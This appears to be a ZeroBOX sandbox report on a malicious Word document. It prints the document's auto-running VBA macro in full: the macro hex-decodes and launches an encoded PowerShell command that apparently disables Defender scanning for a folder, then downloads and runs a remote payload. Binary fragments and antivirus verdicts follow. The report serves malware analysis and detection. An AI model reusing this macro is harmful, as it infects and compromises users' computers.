popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Document_Open()
    Dim lngSTR As String
    lngSTR = ("706F7765727368656C6C2E657865202D652063414276414863415A51427941484D416141426C4147774162414175414755416541426C414341414C514246414867415A51426A41485541644142704147384162674251414738416241427041474D41655141674147494165514277414745416377427A414341414C5142754147384163414279414738415A674270414777415A5141674143304164774270414734415A414276414863416377423041486B416241426C4143414161414270414751415A41426C414734414941417441474D416277427441473041595142754147514149414169414534415A5142334143304153514230414755416251416741433041554142684148514161414167414363415177413641467741584142554147554162514277414677415841416E414341414C51424A414851415A5142744146514165514277414755414941424541476B416367426C41474D416441427641484941655141374145" & _
              "45415A41426B4143304154514277414641416367426C414759415A514279414755416267426A4147554149414174414555416541426A414777416451427A41476B41627742754146414159514230414767414941416E41454D414F674263414651415A514274414841415841416E414473414B41424F414755416477417441453841596742714147554159774230414341415577423541484D416441426C414730414C67424F4147554164414175414663415A51426941454D4162414270414755416267423041436B414C674245414738416477427541477741627742684147514152674270414777415A51416F4143634161414230414851416341427A41446F414C7741764147494161514230414749416451426A414773415A5142304143344162774279414763414C77423441446B414F414135414467414F514176414467414E674133414467414E674133414467415A67426D414338415A4142764148634162674273414738415951426B41484D414C774233414738416367426B4143344165674270414841414A774173414363415177413641467741584142554147554162514277414677415841424F414755416477426D41476B416241426C4143344165674270414841414A774170414473415251423441484" & _
              "14159514275414751414C514242414849415977426F41476B416467426C414341414C514251414745416441426F414341414A77424441446F4158414263414651415A5142744148414158414263414534415A5142334147594161514273414755414C67423641476B416341416E414341414C514245414755416377423041476B4162674268414851416151427641473441554142684148514161414167414363415177413641467741584142554147554162514277414677415841416E414341414C514247414738416367426A414755414F7742544148514159514279414851414C514251414849416277426A414755416377427A4143414159774274414751414C67426C414867415A514167414330415151427941476341645142744147554162674230414577416151427A414851414941416E414338415977416741454D414F674263414677415641426C41473041634142634146774164774276414849415A414175414755416541426C414363414967413D")
             
    qweuy213nmbxzmcnasmndba = poiqwroiuqwbmnb123nmcbmnvsamd(lngSTR)

    Shell (qweuy213nmbxzmcnasmndba)
End Sub

Function poiqwroiuqwbmnb123nmcbmnvsamd(InitialString As String) As String
    Dim j As Long
    j = 1
    Do While j <= Len(InitialString)
        poiqwroiuqwbmnb123nmcbmnvsamd = poiqwroiuqwbmnb123nmcbmnvsamd & Chr("&H" & Mid(InitialString, j, 2))
        j = j + 2
    Loop
End Function

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Document_Open()
    Dim lngSTR As String
    lngSTR = ("706F7765727368656C6C2E657865202D652063414276414863415A51427941484D416141426C4147774162414175414755416541426C414341414C514246414867415A51426A41485541644142704147384162674251414738416241427041474D41655141674147494165514277414745416377427A414341414C5142754147384163414279414738415A674270414777415A5141674143304164774270414734415A414276414863416377423041486B416241426C4143414161414270414751415A41426C414734414941417441474D416277427441473041595142754147514149414169414534415A5142334143304153514230414755416251416741433041554142684148514161414167414363415177413641467741584142554147554162514277414677415841416E414341414C51424A414851415A5142744146514165514277414755414941424541476B416367426C41474D416441427641484941655141374145" & _
              "45415A41426B4143304154514277414641416367426C414759415A514279414755416267426A4147554149414174414555416541426A414777416451427A41476B41627742754146414159514230414767414941416E41454D414F674263414651415A514274414841415841416E414473414B41424F414755416477417441453841596742714147554159774230414341415577423541484D416441426C414730414C67424F4147554164414175414663415A51426941454D4162414270414755416267423041436B414C674245414738416477427541477741627742684147514152674270414777415A51416F4143634161414230414851416341427A41446F414C7741764147494161514230414749416451426A414773415A5142304143344162774279414763414C77423441446B414F414135414467414F514176414467414E674133414467414E674133414467415A67426D414338415A4142764148634162674273414738415951426B41484D414C774233414738416367426B4143344165674270414841414A774173414363415177413641467741584142554147554162514277414677415841424F414755416477426D41476B416241426C4143344165674270414841414A774170414473415251423441484" & _
              "14159514275414751414C514242414849415977426F41476B416467426C414341414C514251414745416441426F414341414A77424441446F4158414263414651415A5142744148414158414263414534415A5142334147594161514273414755414C67423641476B416341416E414341414C514245414755416377423041476B4162674268414851416151427641473441554142684148514161414167414363415177413641467741584142554147554162514277414677415841416E414341414C514247414738416367426A414755414F7742544148514159514279414851414C514251414849416277426A414755416377427A4143414159774274414751414C67426C414867415A514167414330415151427941476341645142744147554162674230414577416151427A414851414941416E414338415977416741454D414F674263414677415641426C41473041634142634146774164774276414849415A414175414755416541426C414363414967413D")
             
    qweuy213nmbxzmcnasmndba = poiqwroiuqwbmnb123nmcbmnvsamd(lngSTR)

    Shell (qweuy213nmbxzmcnasmndba)
End Sub

Function poiqwroiuqwbmnb123nmcbmnvsamd(InitialString As String) As String
    Dim j As Long
    j = 1
    Do While j <= Len(InitialString)
        poiqwroiuqwbmnb123nmcbmnvsamd = poiqwroiuqwbmnb123nmcbmnvsamd & Chr("&H" & Mid(InitialString, j, 2))
        j = j + 2
    Loop
End Function

Original

                                        Attribute VB_Name = "NewMacros"
Sub fqweasd()
'
' fqweasd Macro
'
'

End Sub

Deobfuscated

                                        Attribute VB_Name = "NewMacros"
Sub fqweasd()
'
' fqweasd Macro
'
'

End Sub
[Content_Types].xml
/L[E'9
_rels/.rels
word/_rels/document.xml.rels
X=c+(\
word/document.xml
4I+TRi
word/vbaProject.bin
?.<?|z
2Q2Y5!
:Q}^TF+
|P2siI
n=2cEmb
^F^T^U
v!gh7i
%Zv4}(
v5IMj9WJr
o[c}EP
;"@0[U
word/_rels/vbaProject.bin.relsl
-\Ya;>>
word/theme/theme1.xml
p{{<F!
wm1NDN
FM26P[
word/vbaData.xml
?pa8:ZN
word/settings.xml
IdHI(1
#xX&q2d
docProps/app.xml
G>p-ym4.
aK,Jr?
word/styles.xml
w<j0y
5/e"[c&
Pwq<nDs<fCs<^Bs<VAs<N@s<
E%%'b}
Tf[|p=
g/Dg{N
ZlWGZG
Pzz1xa
g?!Hj\
'd/&\j\
docProps/core.xml
XUUTMZ
word/fontTable.xml
t@Qd[T
word/webSettings.xml
f\US}d
,y0|yh}
[Content_Types].xmlPK
_rels/.relsPK
word/_rels/document.xml.relsPK
word/document.xmlPK
word/vbaProject.binPK
word/_rels/vbaProject.bin.relsPK
word/theme/theme1.xmlPK
word/vbaData.xmlPK
word/settings.xmlPK
docProps/app.xmlPK
word/styles.xmlPK
docProps/core.xmlPK
word/fontTable.xmlPK
word/webSettings.xmlPK
Antivirus Signature
Bkav Clean
Lionic Trojan.MSWord.PwShell.4!c
Elastic malicious (high confidence)
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
Skyhigh RDN/Generic PWS.y
ALYac GT:VB.PwShell.18.329247DE
Malwarebytes Clean
Zillya Clean
Sangfor VBA.Sus.Obf
CrowdStrike Clean
Alibaba Clean
K7GW Clean
K7AntiVirus Clean
huorong Clean
Baidu Clean
VirIT Clean
Symantec CL.Downloader!gen69
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Drp]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender GT:VB.PwShell.18.329247DE
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
ViRobot Clean
MicroWorld-eScan GT:VB.PwShell.18.329247DE
Tencent Script.Trojan.Adb.Jmnw
Trustlook Clean
Sophos Clean
F-Secure Heuristic.HEUR/Macro.Downloader.MRAML.Gen
DrWeb Clean
VIPRE GT:VB.PwShell.18.329247DE
TrendMicro Clean
CTX docx.unknown.pwshell
Emsisoft GT:VB.PwShell.18.329247DE (B)
Ikarus Trojan.Win32.Leonem
FireEye GT:VB.PwShell.18.329247DE
Jiangmin Clean
Webroot Clean
Varist PP97M/Agent.CJU.gen!Eldorado
Avira HEUR/Macro.Downloader.MRAML.Gen
Fortinet VBA/Agent.47DE!tr
Antiy-AVL Trojan/Script.Adb.a
Kingsoft Win32.Troj.Undef.a
Gridinsoft Clean
Xcitium Clean
Arcabit GT:VB.PwShell.18.329247DE
SUPERAntiSpyware Clean
Avast-Mobile Clean
Microsoft Trojan:Win32/Leonem
Google Highly Suspicious
AhnLab-V3 Clean
Acronis suspicious
McAfee RDN/Generic PWS.y
TACHYON Suspicious/WOX.XSR.Gen
VBA32 Clean
Zoner Clean
Rising Malware.Obfus/VBA@AI.99 (VBA)
Yandex Clean
SentinelOne Static AI - Malicious OPENXML
MaxSecure Clean
GData GT:VB.PwShell.18.329247DE
AVG Script:SNH-gen [Drp]
Panda Clean
alibabacloud Clean
No IRMA results available.